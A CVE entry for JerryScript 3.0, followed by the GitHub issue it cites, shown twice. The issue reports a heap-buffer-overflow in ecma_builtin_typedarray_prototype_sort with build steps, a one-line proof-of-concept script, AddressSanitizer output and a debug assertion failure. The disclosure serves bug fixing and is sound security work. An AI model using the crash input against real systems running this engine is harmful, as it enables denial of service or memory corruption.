Jerryscript 3.0 (commit 05dbbd1) was discovered to contain a heap-buffer-overflow via the component ecma_builtin_typedarray_prototype_sort.
cpe:2.3:a:jerryscript:jerryscript:3.0:*:*:*:*:*:*:*
6DB8D818-8F21-4FD3-8D4D-A024A6346CB4
OR
###### JerryScript revision
Commit: 05dbbd13[](05dbbd134c3b9e2482998f267857dd3722001cd7) 
Version: v3.0.0



###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)



###### Build steps

```sh
python ./tools/build.py --clean --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```



###### Test case
``` JavaScript
// poc.js
a = new Int16Array ( 1073741825 ) . sort ( ) ; 
```


###### Execution steps & Output

```sh
$ ./jerryscript/build/bin/jerry poc.js
==3598395==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5100634 at pc 0x5666342e bp 0xffaaafb8 sp 0xffaaafa8
WRITE of size 4 at 0xf5100634 thread T0
    #0 0x5666342d in ecma_builtin_typedarray_prototype_sort /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1261
    #1 0x5666342d in ecma_builtin_typedarray_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:2007
    #2 0x5665ea28 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #3 0x5665ea28 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #4 0x56673db7 in ecma_op_function_call_native_built_in /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #5 0x56675c84 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #6 0x566d6e89 in opfunc_call /jerryscript/jerry-core/vm/vm.c:758
    #7 0x566d6e89 in vm_execute /jerryscript/jerry-core/vm/vm.c:5217
    #8 0x566d8152 in vm_run /jerryscript/jerry-core/vm/vm.c:5312
    #9 0x566d838f in vm_run_global /jerryscript/jerry-core/vm/vm.c:286
    #10 0x5663682e in jerry_run /jerryscript/jerry-core/api/jerryscript.c:548
    #11 0x5672b354 in jerryx_repl /jerryscript/jerry-ext/util/repl.c:66
    #12 0x5662ef56 in main /jerryscript/jerry-main/main-desktop.c:226
    #13 0xf7621ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
    #14 0x56631fb4 in _start (/jerryscript/build/bin/jerry+0x12fb4)

0xf5100634 is located 0 bytes to the right of 4-byte region [0xf5100630,0xf5100634)
allocated by thread T0 here:
    #0 0xf7a0a817 in __interceptor_malloc ../../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
    #1 0x56631ae4 in jmem_heap_alloc /jerryscript/jerry-core/jmem/jmem-heap.c:254
    #2 0x56696d8d in jmem_heap_gc_and_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:291
    #3 0x56663281 in ecma_builtin_typedarray_prototype_sort /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1248
    #4 0x56663281 in ecma_builtin_typedarray_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:2007
    #5 0x5665ea28 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #6 0x5665ea28 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #7 0x56673db7 in ecma_op_function_call_native_built_in /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #8 0x56675c84 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #9 0x566d6e89 in opfunc_call /jerryscript/jerry-core/vm/vm.c:758
    #10 0x566d6e89 in vm_execute /jerryscript/jerry-core/vm/vm.c:5217
    #11 0x566d8152 in vm_run /jerryscript/jerry-core/vm/vm.c:5312
    #12 0x566d838f in vm_run_global /jerryscript/jerry-core/vm/vm.c:286
    #13 0x5663682e in jerry_run /jerryscript/jerry-core/api/jerryscript.c:548
    #14 0x5672b354 in jerryx_repl /jerryscript/jerry-ext/util/repl.c:66
    #15 0x5662ef56 in main /jerryscript/jerry-main/main-desktop.c:226
    #16 0xf7621ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)

SUMMARY: AddressSanitizer: heap-buffer-overflow /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1261 in ecma_builtin_typedarray_prototype_sort
Shadow bytes around the buggy address:
  0x3ea20070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea200b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea200c0: fa fa fa fa fa fa[04]fa fa fa 00 fa fa fa 00 00
  0x3ea200d0: fa fa 00 02 fa fa 05 fa fa fa 00 00 fa fa 00 fa
  0x3ea200e0: fa fa 00 04 fa fa fd fd fa fa 00 06 fa fa 00 03
  0x3ea200f0: fa fa 00 07 fa fa 00 00 fa fa fa fa fa fa fa fa
  0x3ea20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3598395==ABORTING


```

---
with debugging mode(--debug)
###### Outputs
```
ICE: Assertion 'buffer_index == info_p->length' failed at /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c(ecma_builtin_typedarray_prototype_sort):1265.
Error: JERRY_FATAL_FAILED_ASSERTION
```

credits: @EJueon, @Ye0nny of the seclab-yonsei.

heap-buffer-overflow in ecma_builtin_typedarray_prototype_sort
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : heap-buffer-overflow in ecma_builtin_typedarray_prototype_sort
Issue date:

--- start body ---
###### JerryScript revision
Commit: 05dbbd13[](05dbbd134c3b9e2482998f267857dd3722001cd7) 
Version: v3.0.0



###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)



###### Build steps

```sh
python ./tools/build.py --clean --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20
```



###### Test case
``` JavaScript
// poc.js
a = new Int16Array ( 1073741825 ) . sort ( ) ; 
```


###### Execution steps & Output

```sh
$ ./jerryscript/build/bin/jerry poc.js
==3598395==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5100634 at pc 0x5666342e bp 0xffaaafb8 sp 0xffaaafa8
WRITE of size 4 at 0xf5100634 thread T0
    #0 0x5666342d in ecma_builtin_typedarray_prototype_sort /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1261
    #1 0x5666342d in ecma_builtin_typedarray_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:2007
    #2 0x5665ea28 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #3 0x5665ea28 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #4 0x56673db7 in ecma_op_function_call_native_built_in /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #5 0x56675c84 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #6 0x566d6e89 in opfunc_call /jerryscript/jerry-core/vm/vm.c:758
    #7 0x566d6e89 in vm_execute /jerryscript/jerry-core/vm/vm.c:5217
    #8 0x566d8152 in vm_run /jerryscript/jerry-core/vm/vm.c:5312
    #9 0x566d838f in vm_run_global /jerryscript/jerry-core/vm/vm.c:286
    #10 0x5663682e in jerry_run /jerryscript/jerry-core/api/jerryscript.c:548
    #11 0x5672b354 in jerryx_repl /jerryscript/jerry-ext/util/repl.c:66
    #12 0x5662ef56 in main /jerryscript/jerry-main/main-desktop.c:226
    #13 0xf7621ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)
    #14 0x56631fb4 in _start (/jerryscript/build/bin/jerry+0x12fb4)

0xf5100634 is located 0 bytes to the right of 4-byte region [0xf5100630,0xf5100634)
allocated by thread T0 here:
    #0 0xf7a0a817 in __interceptor_malloc ../../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
    #1 0x56631ae4 in jmem_heap_alloc /jerryscript/jerry-core/jmem/jmem-heap.c:254
    #2 0x56696d8d in jmem_heap_gc_and_alloc_block /jerryscript/jerry-core/jmem/jmem-heap.c:291
    #3 0x56663281 in ecma_builtin_typedarray_prototype_sort /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1248
    #4 0x56663281 in ecma_builtin_typedarray_prototype_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:2007
    #5 0x5665ea28 in ecma_builtin_dispatch_routine /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #6 0x5665ea28 in ecma_builtin_dispatch_call /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #7 0x56673db7 in ecma_op_function_call_native_built_in /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #8 0x56675c84 in ecma_op_function_call /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #9 0x566d6e89 in opfunc_call /jerryscript/jerry-core/vm/vm.c:758
    #10 0x566d6e89 in vm_execute /jerryscript/jerry-core/vm/vm.c:5217
    #11 0x566d8152 in vm_run /jerryscript/jerry-core/vm/vm.c:5312
    #12 0x566d838f in vm_run_global /jerryscript/jerry-core/vm/vm.c:286
    #13 0x5663682e in jerry_run /jerryscript/jerry-core/api/jerryscript.c:548
    #14 0x5672b354 in jerryx_repl /jerryscript/jerry-ext/util/repl.c:66
    #15 0x5662ef56 in main /jerryscript/jerry-main/main-desktop.c:226
    #16 0xf7621ed4 in __libc_start_main (/lib32/libc.so.6+0x1aed4)

SUMMARY: AddressSanitizer: heap-buffer-overflow /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1261 in ecma_builtin_typedarray_prototype_sort
Shadow bytes around the buggy address:
  0x3ea20070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea200a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea200b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea200c0: fa fa fa fa fa fa[04]fa fa fa 00 fa fa fa 00 00
  0x3ea200d0: fa fa 00 02 fa fa 05 fa fa fa 00 00 fa fa 00 fa
  0x3ea200e0: fa fa 00 04 fa fa fd fd fa fa 00 06 fa fa 00 03
  0x3ea200f0: fa fa 00 07 fa fa 00 00 fa fa fa fa fa fa fa fa
  0x3ea20100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3598395==ABORTING


```

---
with debugging mode(--debug)
###### Outputs
```
ICE: Assertion 'buffer_index == info_p->length' failed at /jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c(ecma_builtin_typedarray_prototype_sort):1265.
Error: JERRY_FATAL_FAILED_ASSERTION
```

credits: @EJueon, @Ye0nny of the seclab-yonsei.

--- end body ---

comments :
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--- end comments ---